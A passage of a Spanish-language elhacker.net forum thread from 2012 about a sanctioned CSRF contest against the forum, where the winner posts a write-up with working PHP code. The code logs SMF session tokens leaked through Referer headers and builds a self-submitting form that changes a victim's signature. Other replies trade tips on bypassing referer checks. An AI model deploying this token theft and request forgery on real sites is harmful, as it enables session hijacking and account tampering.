elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 Ir Abajo Respuesta Imprimir
Autor Tema: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)  (Leído 60,089 veces)
p0is0n-123

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #130 en: 16 Febrero 2012, 19:57 pm »

Yo me fuí a la *****, nosé para que hice el vídeo  ;)
Felicidades igualmente.
En línea

Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
http://www.seginformatica.net
WHK
Moderador
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #131 en: 16 Febrero 2012, 20:18 pm »

Hombre, que te faltó muy poco pero asi no era, en ese caso hubieras usado ingenieria social para descargar el html con codigo malicioso que solo se ejecuta en ie de forma local y hubieras extraido contraseñas de manera mas fácil.

Muy diferente a hacer click en un enlace y que se te cambie la firma de una, además yoya encontró el bug del token primero que tu, recuerda que habia que explotar el bug.

Mas adelante podriamos hacer otro reto con una inyección sql que anda por ahi jajajajaja :P,.. ahh no, ese es privado xD sorry :P
En línea

p0is0n-123

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #132 en: 16 Febrero 2012, 22:05 pm »

Como dije, si mi vídeo no se daba por válido estaba poniendo en bandeja como solucionar el reto.
No le quito merito a Yoya, ni mucho menos.

Aun así por lo menos me da para contar en mi blog como lo he resuelto...
En línea

Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
http://www.seginformatica.net
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #133 en: 17 Febrero 2012, 01:16 am »

Como dije, si mi vídeo no se daba por válido estaba poniendo en bandeja como solucionar el reto.

Tu método es muy difícil que funcione, ya que muchos datos tienes que ingresarlo manualmente y al tener varios tokens no sabrías correctamente quien es de quien. Y el plan era que el CSRF sea muy efectivo, así que tendrías que hacerte de algún método para que sea muy efectivo. Y al tener que descargar un archivo, pueda que el usuario lo ejecute con otro navegador o simplemente el token haya cambiado por diferentes motivos.


Bueno aquí detallo como hice todo.

Puntos importantes
  • 1 - Obtener el token de sesión del usuario
    • 1.2- El token es una sesión PHP
  • 2 - Para realizar el cambio de firma, es necesario enviar el contenido vía POST
    • 2.2 - Existe un filtro que cancela cualquier tipo de modificacion, si la petición proviene de un sitio remoto
  • 3 - Hacer un exploit que sea lo mas efectivo y automatizado posible

1
- El primer punto era obtener el token de sesion del usuario. Primero como el objetivo del reto es un CSRF, debemos comenzar a descartar un posible XSS para obtener el token. Simplemente porque si fuera necesario un XSS, el reto fuera mejor sobre XSS y no sobre CSRF.

Hace tiempo The X-C3LL publico un articulo llamado "Universal Hijacking by <img> (GET Method)", que dicho método fue utilizado para realizar una escala de privilegio en SMF 2.0. Por hay anda el exploit que publicaron The X-C3LL y Seth.

No profundo mucho en el tema, simplemente dicho método consiste en capturar el referer. El referer contiene la dirección del ultimo sitio visitado (incluyendo la ruta y todo, no simplemente el dominio).

Aquí el código que hice para capturar solo las url que contenían el id de sesión del token

index.php

Código
  1. <?php
  2. $http = apache_request_headers();//Contiene el contenido de la cabeseras....
  3. //useragent, host, tipo de peticion, tipo de contenido, etc...
  4.  
  5. if(preg_match('/sesc/',$http['Referer'])) {//Se ejecuta solo si en el referer, existe la palabra sesc
  6.  
  7.  
  8. $f = fopen('xd.txt',"a");//Abro el archivo xd.txt, para escribir en el...
  9. //El puntero se coloca al final del fichero
  10.  
  11. fputs($f, $http['Referer']."<br>\n");//Escribo en el archivo xd.txt, la url del referer
  12.  
  13. fclose($f);//Cierro el recurso...
  14. }
  15.  
  16. //Esta parte esta de mas, no es necesario... Solo es para generar una img xD
  17.  
  18.  
  19. // Crear una imagen de 100*30
  20. $im = imagecreate(100, 30);
  21.  
  22. // Fondo blanco y texto azul
  23. $fondo = imagecolorallocate($im, 255, 255, 255);
  24. $color_texto = imagecolorallocate($im, 0, 0, 255);
  25.  
  26. // Escribir la cadena en la parte superior izquierda
  27. imagestring($im, 5, 0, 0, 'Hola mundo', $color_texto);
  28.  
  29. // Imprimir la imagen
  30. header('Content-type: image/png');
  31.  
  32. imagepng($im);
  33. ?>
  34.  

1.2 - Hay que tener en cuenta que el token es una sesión de PHP, por lo tanto por defecto se elimina cuando el usuario cierra el navegador o si desde php directamente se generar otra sesión.


2 - Para cambiar la firma es necesario realizar una petición POST. Y como es un CSRF tenemos que usar algún "código" que se ejecute del lado del cliente (navegador). Asi que debemos tener en cuenta que con lenguajes que se ejecuten del lado del servidor como PHP, Perl, Python, Ruby, etc... No funcionaria y la unica forma en ese caso seria primero hacer un secuestro de sesion o tener el usuario y password del usuario y simular un navegador pero eso ya no seria un CSRF.

2.2 - Existe un filtro que cancela cualquier modificación hacia el perfil del usuario, si la petición proviene de un sitio remoto. El bug esta en que si la petición no viene de ningún sitio remoto, entonce es permitible editar el perfil, en este caso la firma del usuario "pollo".

3 - Ahora pasamos a realizar el exploit que cambiaría la firma del usuario.

Como ya podemos obtener el token, ahora para que el exploit funcione es necesario realizar una petición POST que no contenga ninguna referencia.

A mi se me ocurrió la idea de ejecutar un código javascript directamente desde el navegador, el problema esta en que ahora no todo los navegadores no permiten la ejecución de javascript desde la barra de direcciones. Pero al parecer al abrir directamente una ventana emergente, puedes ejecutar un codigo javascript directamente (probado en firefox y opera, aunque en opera puedes ejecutar un código javascript directamente desde la barra de dirección).

Ahora para que el exploit sea muy efectivo, este debe ser capaz de obtener la id de sesión del usuario y luego generar un código "malicioso" capaz de editar la firma del usuario.

f.php
Código
  1. <?php
  2.  
  3.  
  4. $secs = file_get_contents('xd.txt');//Capturo el contenido del archivo xd.txt
  5. //Este contiene el token de sesion de los usuarios
  6.  
  7. preg_match('/sesc=(\w+)<br\>$/i', $secs, $result);//Capturo el ultimo token de sesion capturado
  8.  
  9. ?>
  10.  
  11.  
  12. <A href="javascript:document.write('<form action=\'http://foro.elhacker.net/profile2.html\' method=\'post\' accept-charset=\'ISO-8859-1\' name=\'creator\' id=\'creator\' enctype=\'multipart/form-data\'>  <input name=\'signature\' value=\'Ultra anti-0wneable! ??? - Hacked by Yoyahack!!!!!\'>  <input name=\'sc\' value=\'<?php echo $result[1]; ?>\'> <input name=\'userID\' value=\'322090\'> <input name=\'sa\' value=\'forumProfile\'><input type=\'submit\'></form><script>document.creator.submit()</script>');" target="_blank" onClick="window.open(this.href, this.target, 'width=700,height=400,location=0',true); return false;">Click aquí</A>
  13.  

Con esto simplemente, el usuario debe citar, modificar algun post. Así capturaríamos el token de sesión y luego el usuario debe ir al sitio donde se encuentra alojado el archivo f.php y hacer click en "Click aquí".

Con 2 pasos simplemente bastaria y a si que es muy efectivo el exploit.

Se podría mejorar de muchas maneras, incluso es posible saber de quien es cada token de sesión jejeje. Así desconectaríamos a alguien en especifico.

Saludos.
« Última modificación: 17 Febrero 2012, 14:57 pm por ~ Yoya ~ » En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
jdc


Desconectado Desconectado

Mensajes: 3.406


Ver Perfil WWW
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #134 en: 17 Febrero 2012, 01:43 am »

Felicidades Yoya! Muy bueno :p
En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.211



Ver Perfil
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #135 en: 17 Febrero 2012, 08:27 am »

congrats!! @yoya

-berz3k.

En línea

p0is0n-123

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #136 en: 17 Febrero 2012, 14:21 pm »

Yo aunque se podría decir que he quedado segundo he hecho un post para mostrar como lo he ido desenvolviendo y resolviendo.  :P

Post - Solución al reto csrf de elhacker.net

Porfavor, si se considera spam o molesta el enlace pido que sea borrado para no causar problemas con la administración y los moderadores.

¡Un saludo! Me ha gustado bastante el reto :)
En línea

Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
http://www.seginformatica.net
WHK
Moderador
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #137 en: 17 Febrero 2012, 15:12 pm »

No hay problema :) podrias poner la url del reto en tu blog

Citar
Hace tiempo The X-C3LL publico un articulo llamado "Universal Hijacking by <img> (GET Method)", que dicho método fue utilizado para realizar una escala de privilegio en SMF 2.0. Por hay anda el exploit que publicaron The X-C3LL y Seth.

Recuerdo hace mucho tiempo cuando hicimos la auditoría a SMF 1.1.7 publiqué un bug de tipo CSRF que era explotable atraves de la imágen para obtener el token de sesión, de hecho este bug tiene tantos años como elhacker.net en la web usando smf.
« Última modificación: 17 Febrero 2012, 15:16 pm por WHK » En línea

~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #138 en: 18 Febrero 2012, 14:45 pm »

Recuerdo hace mucho tiempo cuando hicimos la auditoría a SMF 1.1.7 publiqué un bug de tipo CSRF que era explotable atraves de la imágen para obtener el token de sesión, de hecho este bug tiene tantos años como elhacker.net en la web usando smf.

Ese tipo de trucos, deberían crear un post para agregarlo todos. Igualmente lo que habías dicho de "Una forma de evitar el referer era via https hacia una url http ya que por politicas de seguridad de los exploradores no se envía el referer", Son muy buenos tips jejeje.


Saludos.
En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
jdc


Desconectado Desconectado

Mensajes: 3.406


Ver Perfil WWW
Re: [Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya)
« Respuesta #139 en: 19 Febrero 2012, 15:32 pm »

Una forma de evitar que robes el sc es activar la respuesta automática en el foro u.u si el pobre pollo9 lo supiera aún estaría entre nosotros :( ese es un tip para que las futuras generaciones se protejan jajaja creo que lo hablamos con WHK hace tiempo si mal no recuerdo ñ_ñ
En línea

Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Hackea a Elhacker.net ! [Finalizado - Ganador: yasión] « 1 2 ... 23 24 »
Nivel Web
WHK 238 79,408 Último mensaje 30 Noviembre 2009, 17:30 pm
por sirdarckcat
Bucle finalizado con enter « 1 2 3 »
Programación C/C++
cjordan 25 14,109 Último mensaje 18 Febrero 2012, 18:23 pm
por Akai
Ayuda trial finalizado
Ingeniería Inversa
bebito0077 7 3,735 Último mensaje 3 Octubre 2010, 23:42 pm
por LSL
El estándar USB 3.1 ya ha sido finalizado
Noticias
wolfbcn 0 904 Último mensaje 4 Agosto 2013, 01:39 am
por wolfbcn
W3 da por finalizado HTML5
Noticias
dimitrix 0 1,052 Último mensaje 18 Julio 2014, 16:40 pm
por dimitrix
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines